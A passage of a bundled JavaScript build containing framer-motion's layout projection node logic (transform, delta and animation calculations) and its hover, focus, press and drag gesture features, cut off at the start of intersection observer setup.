18069 if ((_a = this.scroll) === null || _a === void 0 ? void 0 : _a.wasRoot) {
18070 return boxWithoutScroll;
18071 }
18072 for (let i3 = 0; i3 < this.path.length; i3++) {
18073 const node2 = this.path[i3];
18074 const { scroll, options: options2 } = node2;
18075 if (node2 !== this.root && scroll && options2.layoutScroll) {
18076 if (scroll.wasRoot) {
18077 copyBoxInto(boxWithoutScroll, box);
18078 }
18079 translateAxis(boxWithoutScroll.x, scroll.offset.x);
18080 translateAxis(boxWithoutScroll.y, scroll.offset.y);
18081 }
18082 }
18083 return boxWithoutScroll;
18084 }
18085 applyTransform(box, transformOnly = false) {
18086 const withTransforms = createBox();
18087 copyBoxInto(withTransforms, box);
18088 for (let i3 = 0; i3 < this.path.length; i3++) {
18089 const node2 = this.path[i3];
18090 if (!transformOnly && node2.options.layoutScroll && node2.scroll && node2 !== node2.root) {
18091 transformBox(withTransforms, {
18092 x: -node2.scroll.offset.x,
18093 y: -node2.scroll.offset.y
18094 });
18095 }
18096 if (!hasTransform(node2.latestValues))
18097 continue;
18098 transformBox(withTransforms, node2.latestValues);
18099 }
18100 if (hasTransform(this.latestValues)) {
18101 transformBox(withTransforms, this.latestValues);
18102 }
18103 return withTransforms;
18104 }
18105 removeTransform(box) {
18106 const boxWithoutTransform = createBox();
18107 copyBoxInto(boxWithoutTransform, box);
18108 for (let i3 = 0; i3 < this.path.length; i3++) {
18109 const node2 = this.path[i3];
18110 if (!node2.instance)
18111 continue;
18112 if (!hasTransform(node2.latestValues))
18113 continue;
18114 hasScale(node2.latestValues) && node2.updateSnapshot();
18115 const sourceBox = createBox();
18116 const nodeBox = node2.measurePageBox();
18117 copyBoxInto(sourceBox, nodeBox);
18118 removeBoxTransforms(boxWithoutTransform, node2.latestValues, node2.snapshot ? node2.snapshot.layoutBox : void 0, sourceBox);
18119 }
18120 if (hasTransform(this.latestValues)) {
18121 removeBoxTransforms(boxWithoutTransform, this.latestValues);
18122 }
18123 return boxWithoutTransform;
18124 }
18125 setTargetDelta(delta) {
18126 this.targetDelta = delta;
18127 this.root.scheduleUpdateProjection();
18128 this.isProjectionDirty = true;
18129 }
18130 setOptions(options2) {
18131 this.options = {
18132 ...this.options,
18133 ...options2,
18134 crossfade: options2.crossfade !== void 0 ? options2.crossfade : true
18135 };
18136 }
18137 clearMeasurements() {
18138 this.scroll = void 0;
18139 this.layout = void 0;
18140 this.snapshot = void 0;
18141 this.prevTransformTemplateValue = void 0;
18142 this.targetDelta = void 0;
18143 this.target = void 0;
18144 this.isLayoutDirty = false;
18145 }
18146 forceRelativeParentToResolveTarget() {
18147 if (!this.relativeParent)
18148 return;
18149 if (this.relativeParent.resolvedRelativeTargetAt !== frameData.timestamp) {
18150 this.relativeParent.resolveTargetDelta(true);
18151 }
18152 }
18153 resolveTargetDelta(forceRecalculation = false) {
18154 var _a;
18155 const lead = this.getLead();
18156 this.isProjectionDirty || (this.isProjectionDirty = lead.isProjectionDirty);
18157 this.isTransformDirty || (this.isTransformDirty = lead.isTransformDirty);
18158 this.isSharedProjectionDirty || (this.isSharedProjectionDirty = lead.isSharedProjectionDirty);
18159 const isShared = Boolean(this.resumingFrom) || this !== lead;
18160 const canSkip = !(forceRecalculation || isShared && this.isSharedProjectionDirty || this.isProjectionDirty || ((_a = this.parent) === null || _a === void 0 ? void 0 : _a.isProjectionDirty) || this.attemptToResolveRelativeTarget || this.root.updateBlockedByResize);
18161 if (canSkip)
18162 return;
18163 const { layout: layout2, layoutId } = this.options;
18164 if (!this.layout || !(layout2 || layoutId))
18165 return;
18166 this.resolvedRelativeTargetAt = frameData.timestamp;
18167 if (!this.targetDelta && !this.relativeTarget) {
18168 const relativeParent = this.getClosestProjectingParent();
18169 if (relativeParent && relativeParent.layout && this.animationProgress !== 1) {
18170 this.relativeParent = relativeParent;
18171 this.forceRelativeParentToResolveTarget();
18172 this.relativeTarget = createBox();
18173 this.relativeTargetOrigin = createBox();
18174 calcRelativePosition(this.relativeTargetOrigin, this.layout.layoutBox, relativeParent.layout.layoutBox);
18175 copyBoxInto(this.relativeTarget, this.relativeTargetOrigin);
18176 } else {
18177 this.relativeParent = this.relativeTarget = void 0;
18178 }
18179 }
18180 if (!this.relativeTarget && !this.targetDelta)
18181 return;
18182 if (!this.target) {
18183 this.target = createBox();
18184 this.targetWithTransforms = createBox();
18185 }
18186 if (this.relativeTarget && this.relativeTargetOrigin && this.relativeParent && this.relativeParent.target) {
18187 this.forceRelativeParentToResolveTarget();
18188 calcRelativeBox(this.target, this.relativeTarget, this.relativeParent.target);
18189 } else if (this.targetDelta) {
18190 if (Boolean(this.resumingFrom)) {
18191 this.target = this.applyTransform(this.layout.layoutBox);
18192 } else {
18193 copyBoxInto(this.target, this.layout.layoutBox);
18194 }
18195 applyBoxDelta(this.target, this.targetDelta);
18196 } else {
18197 copyBoxInto(this.target, this.layout.layoutBox);
18198 }
18199 if (this.attemptToResolveRelativeTarget) {
18200 this.attemptToResolveRelativeTarget = false;
18201 const relativeParent = this.getClosestProjectingParent();
18202 if (relativeParent && Boolean(relativeParent.resumingFrom) === Boolean(this.resumingFrom) && !relativeParent.options.layoutScroll && relativeParent.target && this.animationProgress !== 1) {
18203 this.relativeParent = relativeParent;
18204 this.forceRelativeParentToResolveTarget();
18205 this.relativeTarget = createBox();
18206 this.relativeTargetOrigin = createBox();
18207 calcRelativePosition(this.relativeTargetOrigin, this.target, relativeParent.target);
18208 copyBoxInto(this.relativeTarget, this.relativeTargetOrigin);
18209 } else {
18210 this.relativeParent = this.relativeTarget = void 0;
18211 }
18212 }
18213 if (isDebug) {
18214 metrics.resolvedTargetDeltas++;
18215 }
18216 }
18217 getClosestProjectingParent() {
18218 if (!this.parent || hasScale(this.parent.latestValues) || has2DTranslate(this.parent.latestValues)) {
18219 return void 0;
18220 }
18221 if (this.parent.isProjecting()) {
18222 return this.parent;
18223 } else {
18224 return this.parent.getClosestProjectingParent();
18225 }
18226 }
18227 isProjecting() {
18228 return Boolean((this.relativeTarget || this.targetDelta || this.options.layoutRoot) && this.layout);
18229 }
18230 calcProjection() {
18231 var _a;
18232 const lead = this.getLead();
18233 const isShared = Boolean(this.resumingFrom) || this !== lead;
18234 let canSkip = true;
18235 if (this.isProjectionDirty || ((_a = this.parent) === null || _a === void 0 ? void 0 : _a.isProjectionDirty)) {
18236 canSkip = false;
18237 }
18238 if (isShared && (this.isSharedProjectionDirty || this.isTransformDirty)) {
18239 canSkip = false;
18240 }
18241 if (this.resolvedRelativeTargetAt === frameData.timestamp) {
18242 canSkip = false;
18243 }
18244 if (canSkip)
18245 return;
18246 const { layout: layout2, layoutId } = this.options;
18247 this.isTreeAnimating = Boolean(this.parent && this.parent.isTreeAnimating || this.currentAnimation || this.pendingAnimation);
18248 if (!this.isTreeAnimating) {
18249 this.targetDelta = this.relativeTarget = void 0;
18250 }
18251 if (!this.layout || !(layout2 || layoutId))
18252 return;
18253 copyBoxInto(this.layoutCorrected, this.layout.layoutBox);
18254 const prevTreeScaleX = this.treeScale.x;
18255 const prevTreeScaleY = this.treeScale.y;
18256 applyTreeDeltas(this.layoutCorrected, this.treeScale, this.path, isShared);
18257 if (lead.layout && !lead.target && (this.treeScale.x !== 1 || this.treeScale.y !== 1)) {
18258 lead.target = lead.layout.layoutBox;
18259 lead.targetWithTransforms = createBox();
18260 }
18261 const { target } = lead;
18262 if (!target) {
18263 if (this.prevProjectionDelta) {
18264 this.createProjectionDeltas();
18265 this.scheduleRender();
18266 }
18267 return;
18268 }
18269 if (!this.projectionDelta || !this.prevProjectionDelta) {
18270 this.createProjectionDeltas();
18271 } else {
18272 copyAxisDeltaInto(this.prevProjectionDelta.x, this.projectionDelta.x);
18273 copyAxisDeltaInto(this.prevProjectionDelta.y, this.projectionDelta.y);
18274 }
18275 calcBoxDelta(this.projectionDelta, this.layoutCorrected, target, this.latestValues);
18276 if (this.treeScale.x !== prevTreeScaleX || this.treeScale.y !== prevTreeScaleY || !axisDeltaEquals(this.projectionDelta.x, this.prevProjectionDelta.x) || !axisDeltaEquals(this.projectionDelta.y, this.prevProjectionDelta.y)) {
18277 this.hasProjected = true;
18278 this.scheduleRender();
18279 this.notifyListeners("projectionUpdate", target);
18280 }
18281 if (isDebug) {
18282 metrics.recalculatedProjection++;
18283 }
18284 }
18285 hide() {
18286 this.isVisible = false;
18287 }
18288 show() {
18289 this.isVisible = true;
18290 }
18291 scheduleRender(notifyAll = true) {
18292 var _a;
18293 (_a = this.options.visualElement) === null || _a === void 0 ? void 0 : _a.scheduleRender();
18294 if (notifyAll) {
18295 const stack = this.getStack();
18296 stack && stack.scheduleRender();
18297 }
18298 if (this.resumingFrom && !this.resumingFrom.instance) {
18299 this.resumingFrom = void 0;
18300 }
18301 }
18302 createProjectionDeltas() {
18303 this.prevProjectionDelta = createDelta();
18304 this.projectionDelta = createDelta();
18305 this.projectionDeltaWithTransform = createDelta();
18306 }
18307 setAnimationOrigin(delta, hasOnlyRelativeTargetChanged = false) {
18308 const snapshot = this.snapshot;
18309 const snapshotLatestValues = snapshot ? snapshot.latestValues : {};
18310 const mixedValues = { ...this.latestValues };
18311 const targetDelta = createDelta();
18312 if (!this.relativeParent || !this.relativeParent.options.layoutRoot) {
18313 this.relativeTarget = this.relativeTargetOrigin = void 0;
18314 }
18315 this.attemptToResolveRelativeTarget = !hasOnlyRelativeTargetChanged;
18316 const relativeLayout = createBox();
18317 const snapshotSource = snapshot ? snapshot.source : void 0;
18318 const layoutSource = this.layout ? this.layout.source : void 0;
18319 const isSharedLayoutAnimation = snapshotSource !== layoutSource;
18320 const stack = this.getStack();
18321 const isOnlyMember = !stack || stack.members.length <= 1;
18322 const shouldCrossfadeOpacity = Boolean(isSharedLayoutAnimation && !isOnlyMember && this.options.crossfade === true && !this.path.some(hasOpacityCrossfade));
18323 this.animationProgress = 0;
18324 let prevRelativeTarget;
18325 this.mixTargetDelta = (latest) => {
18326 const progress2 = latest / 1e3;
18327 mixAxisDelta(targetDelta.x, delta.x, progress2);
18328 mixAxisDelta(targetDelta.y, delta.y, progress2);
18329 this.setTargetDelta(targetDelta);
18330 if (this.relativeTarget && this.relativeTargetOrigin && this.layout && this.relativeParent && this.relativeParent.layout) {
18331 calcRelativePosition(relativeLayout, this.layout.layoutBox, this.relativeParent.layout.layoutBox);
18332 mixBox(this.relativeTarget, this.relativeTargetOrigin, relativeLayout, progress2);
18333 if (prevRelativeTarget && boxEquals(this.relativeTarget, prevRelativeTarget)) {
18334 this.isProjectionDirty = false;
18335 }
18336 if (!prevRelativeTarget)
18337 prevRelativeTarget = createBox();
18338 copyBoxInto(prevRelativeTarget, this.relativeTarget);
18339 }
18340 if (isSharedLayoutAnimation) {
18341 this.animationValues = mixedValues;
18342 mixValues(mixedValues, snapshotLatestValues, this.latestValues, progress2, shouldCrossfadeOpacity, isOnlyMember);
18343 }
18344 this.root.scheduleUpdateProjection();
18345 this.scheduleRender();
18346 this.animationProgress = progress2;
18347 };
18348 this.mixTargetDelta(this.options.layoutRoot ? 1e3 : 0);
18349 }
18350 startAnimation(options2) {
18351 this.notifyListeners("animationStart");
18352 this.currentAnimation && this.currentAnimation.stop();
18353 if (this.resumingFrom && this.resumingFrom.currentAnimation) {
18354 this.resumingFrom.currentAnimation.stop();
18355 }
18356 if (this.pendingAnimation) {
18357 cancelFrame(this.pendingAnimation);
18358 this.pendingAnimation = void 0;
18359 }
18360 this.pendingAnimation = frame.update(() => {
18361 globalProjectionState.hasAnimatedSinceResize = true;
18362 this.currentAnimation = animateSingleValue(0, animationTarget, {
18363 ...options2,
18364 onUpdate: (latest) => {
18365 this.mixTargetDelta(latest);
18366 options2.onUpdate && options2.onUpdate(latest);
18367 },
18368 onComplete: () => {
18369 options2.onComplete && options2.onComplete();
18370 this.completeAnimation();
18371 }
18372 });
18373 if (this.resumingFrom) {
18374 this.resumingFrom.currentAnimation = this.currentAnimation;
18375 }
18376 this.pendingAnimation = void 0;
18377 });
18378 }
18379 completeAnimation() {
18380 if (this.resumingFrom) {
18381 this.resumingFrom.currentAnimation = void 0;
18382 this.resumingFrom.preserveOpacity = void 0;
18383 }
18384 const stack = this.getStack();
18385 stack && stack.exitAnimationComplete();
18386 this.resumingFrom = this.currentAnimation = this.animationValues = void 0;
18387 this.notifyListeners("animationComplete");
18388 }
18389 finishAnimation() {
18390 if (this.currentAnimation) {
18391 this.mixTargetDelta && this.mixTargetDelta(animationTarget);
18392 this.currentAnimation.stop();
18393 }
18394 this.completeAnimation();
18395 }
18396 applyTransformsToTarget() {
18397 const lead = this.getLead();
18398 let { targetWithTransforms, target, layout: layout2, latestValues } = lead;
18399 if (!targetWithTransforms || !target || !layout2)
18400 return;
18401 if (this !== lead && this.layout && layout2 && shouldAnimatePositionOnly(this.options.animationType, this.layout.layoutBox, layout2.layoutBox)) {
18402 target = this.target || createBox();
18403 const xLength = calcLength(this.layout.layoutBox.x);
18404 target.x.min = lead.target.x.min;
18405 target.x.max = target.x.min + xLength;
18406 const yLength = calcLength(this.layout.layoutBox.y);
18407 target.y.min = lead.target.y.min;
18408 target.y.max = target.y.min + yLength;
18409 }
18410 copyBoxInto(targetWithTransforms, target);
18411 transformBox(targetWithTransforms, latestValues);
18412 calcBoxDelta(this.projectionDeltaWithTransform, this.layoutCorrected, targetWithTransforms, latestValues);
18413 }
18414 registerSharedNode(layoutId, node2) {
18415 if (!this.sharedNodes.has(layoutId)) {
18416 this.sharedNodes.set(layoutId, new NodeStack());
18417 }
18418 const stack = this.sharedNodes.get(layoutId);
18419 stack.add(node2);
18420 const config = node2.options.initialPromotionConfig;
18421 node2.promote({
18422 transition: config ? config.transition : void 0,
18423 preserveFollowOpacity: config && config.shouldPreserveFollowOpacity ? config.shouldPreserveFollowOpacity(node2) : void 0
18424 });
18425 }
18426 isLead() {
18427 const stack = this.getStack();
18428 return stack ? stack.lead === this : true;
18429 }
18430 getLead() {
18431 var _a;
18432 const { layoutId } = this.options;
18433 return layoutId ? ((_a = this.getStack()) === null || _a === void 0 ? void 0 : _a.lead) || this : this;
18434 }
18435 getPrevLead() {
18436 var _a;
18437 const { layoutId } = this.options;
18438 return layoutId ? (_a = this.getStack()) === null || _a === void 0 ? void 0 : _a.prevLead : void 0;
18439 }
18440 getStack() {
18441 const { layoutId } = this.options;
18442 if (layoutId)
18443 return this.root.sharedNodes.get(layoutId);
18444 }
18445 promote({ needsReset, transition, preserveFollowOpacity } = {}) {
18446 const stack = this.getStack();
18447 if (stack)
18448 stack.promote(this, preserveFollowOpacity);
18449 if (needsReset) {
18450 this.projectionDelta = void 0;
18451 this.needsReset = true;
18452 }
18453 if (transition)
18454 this.setOptions({ transition });
18455 }
18456 relegate() {
18457 const stack = this.getStack();
18458 if (stack) {
18459 return stack.relegate(this);
18460 } else {
18461 return false;
18462 }
18463 }
18464 resetSkewAndRotation() {
18465 const { visualElement } = this.options;
18466 if (!visualElement)
18467 return;
18468 let hasDistortingTransform = false;
18469 const { latestValues } = visualElement;
18470 if (latestValues.z || latestValues.rotate || latestValues.rotateX || latestValues.rotateY || latestValues.rotateZ || latestValues.skewX || latestValues.skewY) {
18471 hasDistortingTransform = true;
18472 }
18473 if (!hasDistortingTransform)
18474 return;
18475 const resetValues = {};
18476 if (latestValues.z) {
18477 resetDistortingTransform("z", visualElement, resetValues, this.animationValues);
18478 }
18479 for (let i3 = 0; i3 < transformAxes.length; i3++) {
18480 resetDistortingTransform(`rotate${transformAxes[i3]}`, visualElement, resetValues, this.animationValues);
18481 resetDistortingTransform(`skew${transformAxes[i3]}`, visualElement, resetValues, this.animationValues);
18482 }
18483 visualElement.render();
18484 for (const key in resetValues) {
18485 visualElement.setStaticValue(key, resetValues[key]);
18486 if (this.animationValues) {
18487 this.animationValues[key] = resetValues[key];
18488 }
18489 }
18490 visualElement.scheduleRender();
18491 }
18492 getProjectionStyles(styleProp) {
18493 var _a, _b;
18494 if (!this.instance || this.isSVG)
18495 return void 0;
18496 if (!this.isVisible) {
18497 return hiddenVisibility;
18498 }
18499 const styles3 = {
18500 visibility: ""
18501 };
18502 const transformTemplate = this.getTransformTemplate();
18503 if (this.needsReset) {
18504 this.needsReset = false;
18505 styles3.opacity = "";
18506 styles3.pointerEvents = resolveMotionValue(styleProp === null || styleProp === void 0 ? void 0 : styleProp.pointerEvents) || "";
18507 styles3.transform = transformTemplate ? transformTemplate(this.latestValues, "") : "none";
18508 return styles3;
18509 }
18510 const lead = this.getLead();
18511 if (!this.projectionDelta || !this.layout || !lead.target) {
18512 const emptyStyles = {};
18513 if (this.options.layoutId) {
18514 emptyStyles.opacity = this.latestValues.opacity !== void 0 ? this.latestValues.opacity : 1;
18515 emptyStyles.pointerEvents = resolveMotionValue(styleProp === null || styleProp === void 0 ? void 0 : styleProp.pointerEvents) || "";
18516 }
18517 if (this.hasProjected && !hasTransform(this.latestValues)) {
18518 emptyStyles.transform = transformTemplate ? transformTemplate({}, "") : "none";
18519 this.hasProjected = false;
18520 }
18521 return emptyStyles;
18522 }
18523 const valuesToRender = lead.animationValues || lead.latestValues;
18524 this.applyTransformsToTarget();
18525 styles3.transform = buildProjectionTransform(this.projectionDeltaWithTransform, this.treeScale, valuesToRender);
18526 if (transformTemplate) {
18527 styles3.transform = transformTemplate(valuesToRender, styles3.transform);
18528 }
18529 const { x: x2, y: y3 } = this.projectionDelta;
18530 styles3.transformOrigin = `${x2.origin * 100}% ${y3.origin * 100}% 0`;
18531 if (lead.animationValues) {
18532 styles3.opacity = lead === this ? (_b = (_a = valuesToRender.opacity) !== null && _a !== void 0 ? _a : this.latestValues.opacity) !== null && _b !== void 0 ? _b : 1 : this.preserveOpacity ? this.latestValues.opacity : valuesToRender.opacityExit;
18533 } else {
18534 styles3.opacity = lead === this ? valuesToRender.opacity !== void 0 ? valuesToRender.opacity : "" : valuesToRender.opacityExit !== void 0 ? valuesToRender.opacityExit : 0;
18535 }
18536 for (const key in scaleCorrectors) {
18537 if (valuesToRender[key] === void 0)
18538 continue;
18539 const { correct, applyTo } = scaleCorrectors[key];
18540 const corrected = styles3.transform === "none" ? valuesToRender[key] : correct(valuesToRender[key], lead);
18541 if (applyTo) {
18542 const num = applyTo.length;
18543 for (let i3 = 0; i3 < num; i3++) {
18544 styles3[applyTo[i3]] = corrected;
18545 }
18546 } else {
18547 styles3[key] = corrected;
18548 }
18549 }
18550 if (this.options.layoutId) {
18551 styles3.pointerEvents = lead === this ? resolveMotionValue(styleProp === null || styleProp === void 0 ? void 0 : styleProp.pointerEvents) || "" : "none";
18552 }
18553 return styles3;
18554 }
18555 clearSnapshot() {
18556 this.resumeFrom = this.snapshot = void 0;
18557 }
18558 // Only run on root
18559 resetTree() {
18560 this.root.nodes.forEach((node2) => {
18561 var _a;
18562 return (_a = node2.currentAnimation) === null || _a === void 0 ? void 0 : _a.stop();
18563 });
18564 this.root.nodes.forEach(clearMeasurements);
18565 this.root.sharedNodes.clear();
18566 }
18567 };
18568 }
18569 function updateLayout(node2) {
18570 node2.updateLayout();
18571 }
18572 function notifyLayoutUpdate(node2) {
18573 var _a;
18574 const snapshot = ((_a = node2.resumeFrom) === null || _a === void 0 ? void 0 : _a.snapshot) || node2.snapshot;
18575 if (node2.isLead() && node2.layout && snapshot && node2.hasListeners("didUpdate")) {
18576 const { layoutBox: layout2, measuredBox: measuredLayout } = node2.layout;
18577 const { animationType } = node2.options;
18578 const isShared = snapshot.source !== node2.layout.source;
18579 if (animationType === "size") {
18580 eachAxis((axis) => {
18581 const axisSnapshot = isShared ? snapshot.measuredBox[axis] : snapshot.layoutBox[axis];
18582 const length2 = calcLength(axisSnapshot);
18583 axisSnapshot.min = layout2[axis].min;
18584 axisSnapshot.max = axisSnapshot.min + length2;
18585 });
18586 } else if (shouldAnimatePositionOnly(animationType, snapshot.layoutBox, layout2)) {
18587 eachAxis((axis) => {
18588 const axisSnapshot = isShared ? snapshot.measuredBox[axis] : snapshot.layoutBox[axis];
18589 const length2 = calcLength(layout2[axis]);
18590 axisSnapshot.max = axisSnapshot.min + length2;
18591 if (node2.relativeTarget && !node2.currentAnimation) {
18592 node2.isProjectionDirty = true;
18593 node2.relativeTarget[axis].max = node2.relativeTarget[axis].min + length2;
18594 }
18595 });
18596 }
18597 const layoutDelta = createDelta();
18598 calcBoxDelta(layoutDelta, layout2, snapshot.layoutBox);
18599 const visualDelta = createDelta();
18600 if (isShared) {
18601 calcBoxDelta(visualDelta, node2.applyTransform(measuredLayout, true), snapshot.measuredBox);
18602 } else {
18603 calcBoxDelta(visualDelta, layout2, snapshot.layoutBox);
18604 }
18605 const hasLayoutChanged = !isDeltaZero(layoutDelta);
18606 let hasRelativeTargetChanged = false;
18607 if (!node2.resumeFrom) {
18608 const relativeParent = node2.getClosestProjectingParent();
18609 if (relativeParent && !relativeParent.resumeFrom) {
18610 const { snapshot: parentSnapshot, layout: parentLayout } = relativeParent;
18611 if (parentSnapshot && parentLayout) {
18612 const relativeSnapshot = createBox();
18613 calcRelativePosition(relativeSnapshot, snapshot.layoutBox, parentSnapshot.layoutBox);
18614 const relativeLayout = createBox();
18615 calcRelativePosition(relativeLayout, layout2, parentLayout.layoutBox);
18616 if (!boxEqualsRounded(relativeSnapshot, relativeLayout)) {
18617 hasRelativeTargetChanged = true;
18618 }
18619 if (relativeParent.options.layoutRoot) {
18620 node2.relativeTarget = relativeLayout;
18621 node2.relativeTargetOrigin = relativeSnapshot;
18622 node2.relativeParent = relativeParent;
18623 }
18624 }
18625 }
18626 }
18627 node2.notifyListeners("didUpdate", {
18628 layout: layout2,
18629 snapshot,
18630 delta: visualDelta,
18631 layoutDelta,
18632 hasLayoutChanged,
18633 hasRelativeTargetChanged
18634 });
18635 } else if (node2.isLead()) {
18636 const { onExitComplete } = node2.options;
18637 onExitComplete && onExitComplete();
18638 }
18639 node2.options.transition = void 0;
18640 }
18641 function propagateDirtyNodes(node2) {
18642 if (isDebug) {
18643 metrics.totalNodes++;
18644 }
18645 if (!node2.parent)
18646 return;
18647 if (!node2.isProjecting()) {
18648 node2.isProjectionDirty = node2.parent.isProjectionDirty;
18649 }
18650 node2.isSharedProjectionDirty || (node2.isSharedProjectionDirty = Boolean(node2.isProjectionDirty || node2.parent.isProjectionDirty || node2.parent.isSharedProjectionDirty));
18651 node2.isTransformDirty || (node2.isTransformDirty = node2.parent.isTransformDirty);
18652 }
18653 function cleanDirtyNodes(node2) {
18654 node2.isProjectionDirty = node2.isSharedProjectionDirty = node2.isTransformDirty = false;
18655 }
18656 function clearSnapshot(node2) {
18657 node2.clearSnapshot();
18658 }
18659 function clearMeasurements(node2) {
18660 node2.clearMeasurements();
18661 }
18662 function clearIsLayoutDirty(node2) {
18663 node2.isLayoutDirty = false;
18664 }
18665 function resetTransformStyle(node2) {
18666 const { visualElement } = node2.options;
18667 if (visualElement && visualElement.getProps().onBeforeLayoutMeasure) {
18668 visualElement.notify("BeforeLayoutMeasure");
18669 }
18670 node2.resetTransform();
18671 }
18672 function finishAnimation(node2) {
18673 node2.finishAnimation();
18674 node2.targetDelta = node2.relativeTarget = node2.target = void 0;
18675 node2.isProjectionDirty = true;
18676 }
18677 function resolveTargetDelta(node2) {
18678 node2.resolveTargetDelta();
18679 }
18680 function calcProjection(node2) {
18681 node2.calcProjection();
18682 }
18683 function resetSkewAndRotation(node2) {
18684 node2.resetSkewAndRotation();
18685 }
18686 function removeLeadSnapshots(stack) {
18687 stack.removeLeadSnapshot();
18688 }
18689 function mixAxisDelta(output, delta, p3) {
18690 output.translate = mixNumber(delta.translate, 0, p3);
18691 output.scale = mixNumber(delta.scale, 1, p3);
18692 output.origin = delta.origin;
18693 output.originPoint = delta.originPoint;
18694 }
18695 function mixAxis(output, from2, to, p3) {
18696 output.min = mixNumber(from2.min, to.min, p3);
18697 output.max = mixNumber(from2.max, to.max, p3);
18698 }
18699 function mixBox(output, from2, to, p3) {
18700 mixAxis(output.x, from2.x, to.x, p3);
18701 mixAxis(output.y, from2.y, to.y, p3);
18702 }
18703 function hasOpacityCrossfade(node2) {
18704 return node2.animationValues && node2.animationValues.opacityExit !== void 0;
18705 }
18706 var defaultLayoutTransition = {
18707 duration: 0.45,
18708 ease: [0.4, 0, 0.1, 1]
18709 };
18710 var userAgentContains = (string) => typeof navigator !== "undefined" && navigator.userAgent && navigator.userAgent.toLowerCase().includes(string);
18711 var roundPoint = userAgentContains("applewebkit/") && !userAgentContains("chrome/") ? Math.round : noop2;
18712 function roundAxis(axis) {
18713 axis.min = roundPoint(axis.min);
18714 axis.max = roundPoint(axis.max);
18715 }
18716 function roundBox(box) {
18717 roundAxis(box.x);
18718 roundAxis(box.y);
18719 }
18720 function shouldAnimatePositionOnly(animationType, snapshot, layout2) {
18721 return animationType === "position" || animationType === "preserve-aspect" && !isNear(aspectRatio(snapshot), aspectRatio(layout2), 0.2);
18722 }
18723 function checkNodeWasScrollRoot(node2) {
18724 var _a;
18725 return node2 !== node2.root && ((_a = node2.scroll) === null || _a === void 0 ? void 0 : _a.wasRoot);
18726 }
18727
18728 // packages/components/node_modules/framer-motion/dist/es/projection/node/DocumentProjectionNode.mjs
18729 var DocumentProjectionNode = createProjectionNode({
18730 attachResizeListener: (ref, notify) => addDomEvent(ref, "resize", notify),
18731 measureScroll: () => ({
18732 x: document.documentElement.scrollLeft || document.body.scrollLeft,
18733 y: document.documentElement.scrollTop || document.body.scrollTop
18734 }),
18735 checkIsScrollRoot: () => true
18736 });
18737
18738 // packages/components/node_modules/framer-motion/dist/es/projection/node/HTMLProjectionNode.mjs
18739 var rootProjectionNode = {
18740 current: void 0
18741 };
18742 var HTMLProjectionNode = createProjectionNode({
18743 measureScroll: (instance) => ({
18744 x: instance.scrollLeft,
18745 y: instance.scrollTop
18746 }),
18747 defaultParent: () => {
18748 if (!rootProjectionNode.current) {
18749 const documentNode = new DocumentProjectionNode({});
18750 documentNode.mount(window);
18751 documentNode.setOptions({ layoutScroll: true });
18752 rootProjectionNode.current = documentNode;
18753 }
18754 return rootProjectionNode.current;
18755 },
18756 resetTransform: (instance, value) => {
18757 instance.style.transform = value !== void 0 ? value : "none";
18758 },
18759 checkIsScrollRoot: (instance) => Boolean(window.getComputedStyle(instance).position === "fixed")
18760 });
18761
18762 // packages/components/node_modules/framer-motion/dist/es/motion/features/drag.mjs
18763 var drag = {
18764 pan: {
18765 Feature: PanGesture
18766 },
18767 drag: {
18768 Feature: DragGesture,
18769 ProjectionNode: HTMLProjectionNode,
18770 MeasureLayout
18771 }
18772 };
18773
18774 // packages/components/node_modules/framer-motion/dist/es/gestures/hover.mjs
18775 function handleHoverEvent(node2, event, lifecycle) {
18776 const { props } = node2;
18777 if (node2.animationState && props.whileHover) {
18778 node2.animationState.setActive("whileHover", lifecycle === "Start");
18779 }
18780 const eventName = "onHover" + lifecycle;
18781 const callback = props[eventName];
18782 if (callback) {
18783 frame.postRender(() => callback(event, extractEventInfo(event)));
18784 }
18785 }
18786 var HoverGesture = class extends Feature {
18787 mount() {
18788 const { current } = this.node;
18789 if (!current)
18790 return;
18791 this.unmount = hover(current, (startEvent) => {
18792 handleHoverEvent(this.node, startEvent, "Start");
18793 return (endEvent) => handleHoverEvent(this.node, endEvent, "End");
18794 });
18795 }
18796 unmount() {
18797 }
18798 };
18799
18800 // packages/components/node_modules/framer-motion/dist/es/gestures/focus.mjs
18801 var FocusGesture = class extends Feature {
18802 constructor() {
18803 super(...arguments);
18804 this.isActive = false;
18805 }
18806 onFocus() {
18807 let isFocusVisible = false;
18808 try {
18809 isFocusVisible = this.node.current.matches(":focus-visible");
18810 } catch (e3) {
18811 isFocusVisible = true;
18812 }
18813 if (!isFocusVisible || !this.node.animationState)
18814 return;
18815 this.node.animationState.setActive("whileFocus", true);
18816 this.isActive = true;
18817 }
18818 onBlur() {
18819 if (!this.isActive || !this.node.animationState)
18820 return;
18821 this.node.animationState.setActive("whileFocus", false);
18822 this.isActive = false;
18823 }
18824 mount() {
18825 this.unmount = pipe(addDomEvent(this.node.current, "focus", () => this.onFocus()), addDomEvent(this.node.current, "blur", () => this.onBlur()));
18826 }
18827 unmount() {
18828 }
18829 };
18830
18831 // packages/components/node_modules/framer-motion/dist/es/gestures/press.mjs
18832 function handlePressEvent(node2, event, lifecycle) {
18833 const { props } = node2;
18834 if (node2.animationState && props.whileTap) {
18835 node2.animationState.setActive("whileTap", lifecycle === "Start");
18836 }
18837 const eventName = "onTap" + (lifecycle === "End" ? "" : lifecycle);
18838 const callback = props[eventName];
18839 if (callback) {
18840 frame.postRender(() => callback(event, extractEventInfo(event)));
18841 }
18842 }
18843 var PressGesture = class extends Feature {
18844 mount() {
18845 const { current } = this.node;
18846 if (!current)
18847 return;
18848 this.unmount = press(current, (startEvent) => {
18849 handlePressEvent(this.node, startEvent, "Start");
18850 return (endEvent, { success }) => handlePressEvent(this.node, endEvent, success ? "End" : "Cancel");
18851 }, { useGlobalTarget: this.node.props.globalTapTarget });
18852 }
18853 unmount() {
18854 }
18855 };
18856
18857 // packages/components/node_modules/framer-motion/dist/es/motion/features/viewport/observers.mjs
18858 var observerCallbacks = /* @__PURE__ */ new WeakMap();
18859 var observers = /* @__PURE__ */ new WeakMap();
18860 var fireObserverCallback = (entry) => {
18861 const callback = observerCallbacks.get(entry.target);
18862 callback && callback(entry);
18863 };
18864 var fireAllObserverCallbacks = (entries) => {
18865 entries.forEach(fireObserverCallback);
18866 };
18867 function initIntersectionObserver({ root, ...options2 }) {
18868 const lookupRoot = root || document;
18869 if (!observers.has(lookupRoot)) {
18870 observers.set(lookupRoot, {});
18871 }
18872 const rootObservers = observers.get(lookupRoot);
18873 const key = JSON.stringify(options2);
18874 if (!rootObservers[key]) {
